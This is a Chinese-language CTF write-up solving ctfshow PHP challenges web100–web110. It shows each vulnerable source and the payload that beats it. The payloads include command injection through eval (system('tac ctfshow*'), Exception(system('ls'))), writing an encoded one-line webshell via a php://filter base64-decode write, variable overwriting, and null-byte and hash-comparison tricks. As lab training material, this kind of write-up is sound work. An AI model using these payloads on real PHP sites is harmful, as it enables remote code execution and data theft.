【ctfshow】PHP特性2

2023-10-26

目录

        web100

web101

web102

web103

web104

web105

web106

web107

web108

web109

web110


 web100

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
  • &&和and优先级不一样

&& > || > = > and > or 

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
  •  is_numeric()函数 检测是否为数字或字符串

我们只要让v1等于数字就可以进入循环

  • v2没分号,v3有分号

/?v1=1&v2=system('tac ctfshow*')&v3=;

/?v1=1&v2=var_dump($ctfshow)&v3=;

  • var_dump()此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。 

 0x2d 转换为ascii码是-

两个小细节(关于我自己):几个get同时提交用&,system(' ') 捕获

web101

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

 /?v1=1&v2=echo new ReflectionClass&v3=;

提交不了,发现提示少了一位。那就拿bp爆破,得出最后一个字母是7 

 对反射类的了解

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
  • 利用v2传入 一句话木马的hex编码,并且在头部加上两个数字。 v1 传入hex2bin函数名。利用call_user_func 转为木马。 同时,v3传入 文件名。用file_put_contents 写入 木马。
  • 为了让webshell传进去的是数字,我们应先将一句话转为base64,再讲base64转16进制
  • 构造一句话 

$a='<?=`cat *`;';        //这里虽然``反引号无回显,但是短标签自带echo,读取所有的目录
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64

<?php ?>与<?= ?>等价

system与``是等价的

<?=`cat *`;相当于<?php system('ls');?>这种写法没有空格也没有php,可以绕过一些过滤

说明:<?=是php的短标签,是echo()的快捷用法 

  • 为什么这么做?

因为base64的编码范围 a-z  A-Z 0-9 /=  这些字符经过16进制编码后为大部分为数字(基本都在ascii码范围内),属于数字字符串,所以有机会绕过。 如果中间有 字母e,那么完全会被is_numberic 当成 科学计数法!!! 

  • substr ($str,$n)

    返回 指定的字符串str  从n往后的字符串.所以前面补两位任意函数

get:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
post: v1=hex2bin
  • call_user_func — 把第一个参数作为回调函数调用
  • hex2bin 把十六进制值转换为 ASCII 字符, bin2hex把字符串转换16进制
  • file_put_contents ()向指定文件写入内容

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

$str不是能按php顺序的所有字符

没什么影响,和web102一样 

web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

直接传入两个相同的数 

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?> 

这是一道变量覆盖问题,通过变量覆盖使得$ error 或$suces为flag都能成功。

die($error);
//payload: get:a=flag  post: error=a
//此时if(!($_POST['flag']==$flag))执行成功

首先我们把$flag的值传给$a,接着再把$dotast的值传给$error,于是$error的值就是flag,再通过if判断die输出就是flag 

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
} 
  • sha1()函数无法处理数组类型,将报错并返回false
  • sha1相等但是值不相等的:

aaroZmOk   aaK1STfY   aaO8zKZF   aa3OFF9m

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

parse_str()函数,将第一个变量内容识别,以数组的形式存在第二个变量中

<?php
parse_str("v1=111&v2=222",$arry);
var_dump($arry);
/**
 * array(2) {
["v1"]=>
string(3) "111"
["v2"]=>
string(3) "222"
}
 */

因为md5返回数组为空,所以v1也可传入一个空值。

v3[]=2   v1= 

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

ereg %00正则截断 

  • strrev:反串字符串和数字

<?php echo strrev("I love Shanghai!"); ?>

echo !iahgnahS evol I  

  • intval() 获取变量的整数值 

首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。

/?c=a%00778

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

看大佬文章

  • 通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)只要是变量后面紧跟着(),那么对这个变量进行函数调用。例如$a = 'phpinfo'; $a()即调用phpinfo()

/?v1=Exception&v2=system('ls')

 /?v1=Exception&v2=system('tac fl36dg.txt') 

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

 FilesystemIterator 获取指定目录下的所有文件

getcwd()函数 获取当前工作目录

echo new FilesystemIterator(getcwd()); //默认只显示第一个文件,需要遍历

/?v1=FilesystemIterator&v2=getcwd

访问出现的文件即可

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【ctfshow】PHP特性2 的相关文章

  • 如何捕获 PHP 中的 cURL 错误

    我在用PHP curl功能 https php net manual en ref curl php将数据从我的本地计算机发布到网络服务器 我的代码如下 c curl init curl setopt c CURLOPT URL url c
  • php isset 或空中的偏移类型非法

    我的这段代码最初可以工作 但在重新启动计算机后就无法工作 我收到的错误是 警告 第 4 行 D xampp htdocs cookieboylive classes Session php 中 isset 中存在非法偏移类型或为空 我的网站
  • 如何通过 docker-php-ext-install 安装 php 扩展?

    为了解决问题 https stackoverflow com questions 37526509 how to install pdo driver in php docker image 我现在尝试通过安装 mysql pdo dock
  • PHP: Datetime::Diff 结果比较

    我试图比较两个日期之间的差异 但结果似乎非常错误 例如以下代码 datetime1 new DateTime 2009 10 11 datetime2 new DateTime 2009 10 13 interval datetime1 g
  • 如何在 PHP 中从serializeArray 获取 POST 值?

    我正在尝试这个我见过的新方法serializeArray with ajax var data form input serializeArray post var action process data data ajax etc 这样我
  • php 的睡眠函数

    作为使用 cron 作业的可能替代方案 我找到了 sleep 函数 我以前从未使用过这个 如果我告诉我的脚本在一种循环内运行 并且在该循环内我有这样的指令 sleeps for 86400 seconds or one day sleep
  • PCRE 库版本太旧

    Bug Genie 3 需要 PCRE 库 8 0 或更高版本 你有 版本 7 8 2008 09 05 将您的系统更新到最新版本 你常用的来源 在我查看问题并尝试通过以下步骤更新我的 PCRE 库后 wget the latest sou
  • Ionic 3 Uncaught(承诺):[object Object]

    我是 Ionic 3 和移动开发的新手 我正在尝试将 MySQL DB 连接到我的 Ionic 应用程序和 PHP Restful API 我用 Postman 测试了 API 它工作得很好 为了在 Ionic 中实现它 我做了以下操作 我
  • 为什么 XDebug 忽略 NetBeans 6.8 中的断点?

    我在 Ubuntu 10 04 笔记本电脑上运行 PHP 5 3 2 Apache 2 2 14 和 xdebug 2 2 0rc1 并且尝试在 Netbeans 6 8 中的本地主机上设置调试 我的问题是我在 Netbeans 中设置的断
  • PHPSpreadsheet 文本旋转到 90 不起作用

    我正在尝试使用文本旋转到 90 度来使单元格具有垂直文本 但它不起作用 所有文本都是水平显示的 也许我做错了什么 这是我的 php 代码 spreadsheet new Spreadsheet Create a new worksheet
  • Laravel:如何模拟依赖注入类方法

    我正在使用GitHub API https github com KnpLabs php github api通过一个Laravel API 包装器 https github com GrahamCampbell Laravel GitHu
  • 从 MySql 迁移:MariaDB 服务器意外关闭客户端连接

    由于许可 商业使用原因 我们正在从 MySql 迁移到 MariaDB 我们已经成功用 MariaDB 客户端 jar 替换了 MySql 连接器 jar 第一次更改 现在正在尝试用 MariaDB 服务器替换 MySql 服务器而不更改数
  • Codeigniter - 仅当数据库中不存在电子邮件时才更新电子邮件

    我为我的用户提供了一个更新页面 他们可以在其中编辑他们的姓名 电子邮件和其他信息 到目前为止 他们可以编辑一切 包括他们的电子邮件 他们可以毫无问题地输入数据库中已存在的电子邮件 我尝试添加此表单验证规则 this gt form vali
  • Docker 应用程序更新后无法连接到数据库

    在我的公司 我有一个旧的 Symfony 应用程序在 Docker 容器中运行 该应用程序连接到一个 SQL 数据库 该数据库也在 Docker 容器内运行 该图像是使用 php 7 2 apache stretch 构建的 但该版本已不再
  • cron 作业或 PHP 调度程序

    我使用 MYSQL 作为我的数据库 PHP 作为我的编程语言 我想运行一个 cron 作业 该作业将运行直到当前系统日期与我的数据库表中名为 PROJECT 的 截止日期 日期 列匹配 一旦日期相同的是 必须运行更新查询 这会将状态 项目表
  • 如何接收在 PHP 中使用“application/octet-stream”发送的 POST 数据?

    这就是我正在处理的事情 我们的一个计划有一个支持表格 用户可以使用它来请求支持 此表单的作用是 它向 PHP 脚本执行 HTTP POST 请求 该脚本应该收集信息并将其转发到支持电子邮件地址 POST 请求包含三个类型的文本字段Conte
  • 将订单总重量添加到 WooCommerce 新订单电子邮件通知

    是否可以在 WooCommerce 新订单 电子邮件通知 针对管理员 中显示订单的总重量 这是挂钩在 woocommerce email after order table 操作挂钩中的自定义函数 它将在 新订单 电子邮件通知中显示总重量
  • 如何使用 php 将文本区域中的链接转换为链接元素?

    我正在创建一个脚本 它包含一个发布脚本 但我希望用户直接从其他任何地方复制链接 当他们发布链接文本时 链接文本应自动将链接转换为链接元素 a 例如 Ask this on http stackoverflow com now 成为 Ask
  • 使用 api php 使用通配符从 S3 中删除

    我有这个工作代码可以从 s3 中删除文件和文件夹 如何使用通配符 进行删除 s3 new AmazonS3 bucket mybucket folder myDirectory this doesnt work response s3 gt
  • mcrypt_crypt 的替代方案?

    根据 php 7 0 mcrypt decrypt 已被弃用 我有以下代码 intSize mcrypt get iv size MCRYPT RIJNDAEL 256 MCRYPT MODE ECB strSize mcrypt crea

随机推荐

  • MQTT 官方资源地址

    MQTT官方资源地址 http mqtt org MQTT的官方地址 https www eclipse org paho downloads php MQTT源码的下载地址 官网源码 请参见官方资料和源代码 以免少走弯路 陷入大坑
  • 数据挖掘技术-绘制饼图

    绘制饼图 前置步骤 准备数据guomin npz 下载数据guomin npz到Linux本地的 course DataAnalyze data目录 绘制饼图 pyplot中绘制饼图的函数为pie 使用pie函数绘制2017年第一季度各产业
  • oracle表的storage参数说明

    author skatetime 2009 05 12 修改表的存储参数 storage 解釋 pctfree和pctused 用來控制數據塊中的空閑空間的使用 空閑空間用於數據行的插入和更新 initrans和maxtrans 用來控制分
  • Netty和Tomcat的区别

    一 Netty和Tomcat有什么区别 Netty和Tomcat最大的区别就在于通信协议 Tomcat是基于Http协议的 他的实质是一个基于http协议的web容器 但是Netty不一样 他能通过编程自定义各种协议 因为netty能够通过
  • GIT简单介绍及常用命令

    git是什么 git是目前企业使用最多最流行的 分布式版本 控制系统 分布式版本控制系统 没有中央服务器 每个人的电脑就是一个完整的版本库 工作时候不需要联网 因为版本就在自己的电脑上面 如果多人同时编写修改一个文件的时候 只需要将两者之间
  • matlab快捷键自动对齐

    matlab用了一段时间发现移动代码的时候很容易出现对不齐的情况 一行行缩进很让人头疼 后面发现原来可以自动缩进 方法如下 matlab中全选某段代码 Ctrl i 可以代码自动排版
  • esh的snapshot快照备份

    1 Elasticsearch的snapshot快照备份 优点 通过snapshot拍摄快照 然后定义快照备份策略 能够实现快照自动化存储 可以定义各种策略来满足自己不同的备份 缺点 还原不够灵活 拍摄快照进行备份很快 但是还原的时候没办法
  • 乐蜂网服务器信息,乐蜂网目标独立上市 唯品会向其派驻CEO、CFO

    腾讯科技讯 王可心 2月25日消息 在乐蜂网 今日 唯品会副总裁冯佳路 乐蜂网副总裁辛益华接受媒体采访 解答外界疑问 控股乐蜂网后 为何又参股东方风行集团 在过去10天 唯品会与乐蜂网 东方风行集团分别发生交易 2月14日 唯品会宣布战略投
  • 爬虫的工作原理、挑战和应用

    什么是网络爬虫 网络爬虫 Web Crawler 是一种自动化程序 它能够在互联网上浏览网页 收集信息并将其存储在本地或其他地方供进一步处理和分析 爬虫通常用于搜索引擎 数据挖掘 内容聚合 价格比较等应用中 爬虫的工作原理 发送请求 爬虫从
  • Node.js 全网最详细教程(第三章:Node.js 文件系统模块)

    fs 文件系统模块 fs 模块是Node js 官方提供的 用来操作文件的模块 它提供了一系列的方法和属性 用来满足用户对文件的操作需求 一 fs readFile 异步读取文件 源码解析 参数1 path 读取的路径 参数2 option
  • ProGuard 进阶系列(二)配置解析

    书接上文 从开源库中把代码下载到本地后 就可以在 IDE 中进行运行了 从 main 方法入手 可以看到 ProGuard 执行的第一步就是去解析参数 本文的内容主要分析源码中我们配置的规则解析的实现 在上一篇文章末尾 在 IDE 中 添加
  • WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connec

    WARNING Retrying Retry total 0 connect None read None redirect None status None after connection broken by SSLError SSLE
  • C语言函数不定参数实现方式

    函数如何实现不定参数 由于在C语言中没有函数重载 解决不定数目函数参数问题变得比较麻烦 即使采用C 如果参数个数不能确定 也很难采用函数重载 对这种情况 提出了指针参数来解决问题 1 va list 定义了一个指针arg ptr 用于指示可
  • 数据库设计规范(详细)

    数据规范化设计 一 数据规范化 仅有好的RDBMS并不足以避免数据冗余 必须在数据库的设计中创建好的表结构 Dr E F codd 最初定义了规范化的三个级别 范式是具有最小冗余的表结构 这些范式是 1 第一范式 1st NF First
  • linux配置浮动IP

    在高可用集群环境中 一般都需要使用浮动IP来实现web高可用 High Availability 浮动IP的概念以及为什么需要浮动IP请参考 浮动IP FLOAT IP 本篇文章主要讲实际操作步骤 可以是双机 也可以是多机 主服务器为172
  • VLOOKUP函数匹配结果不正确?错误结果是怎么得出来的?[已解决]

    匹配结果不正确主要是以下2个方面入手 是否是精确匹配 range lookup 参数为 FALSE或0 检查所有的数据是否带空格等 官方帮助文档 Microsoft Excel 中 VLOOKUP 函数的语法和用法 语法 VLOOKUP l
  • [yotroy.cool]WSL安装CUDA独显 PyTorch 深度学习环境配置,测速为什么要用WSL?

    个人博客https www yotroy cool 欢迎关注我哦 前言 为了预习大三课程 想提前学习下PyTorch 于是我遇到了神仙学习教程 动手学深度学习 同时以此为参考完成了环境配置 感谢大佬们无私奉献Thanks 本教程展示了独显w
  • 等精度测频的原理和基于FPGA的实现

    我们通过FPGA测量信号频率 一般来说有两种方案 传统测频法和等精度测频法 方案一 传统测频是在一段闸门时间内直接对输入信号的周期进行计数 也被叫做直接测频法 设闸门信号为gate 检测待测信号上升沿 然后判断gate是否为高电平 若为高电
  • 转置矩阵,逆矩阵和倒转置矩阵

    单位矩阵 转置矩阵 transpose matrix 在线性代数中 矩阵A的转置是另一个矩阵AT 也写做Atr tA或A 由下列等价动作建立 把A的横行写为AT的纵列 把A的纵列写为AT的横行 形式上说 m n矩阵A的转置是n m矩阵 fo
  • 【ctfshow】PHP特性2

    目录 web100 web101 web102 web103 web104 web105 web106 web107 web108 web109 web110 web100 include ctfshow php flag in class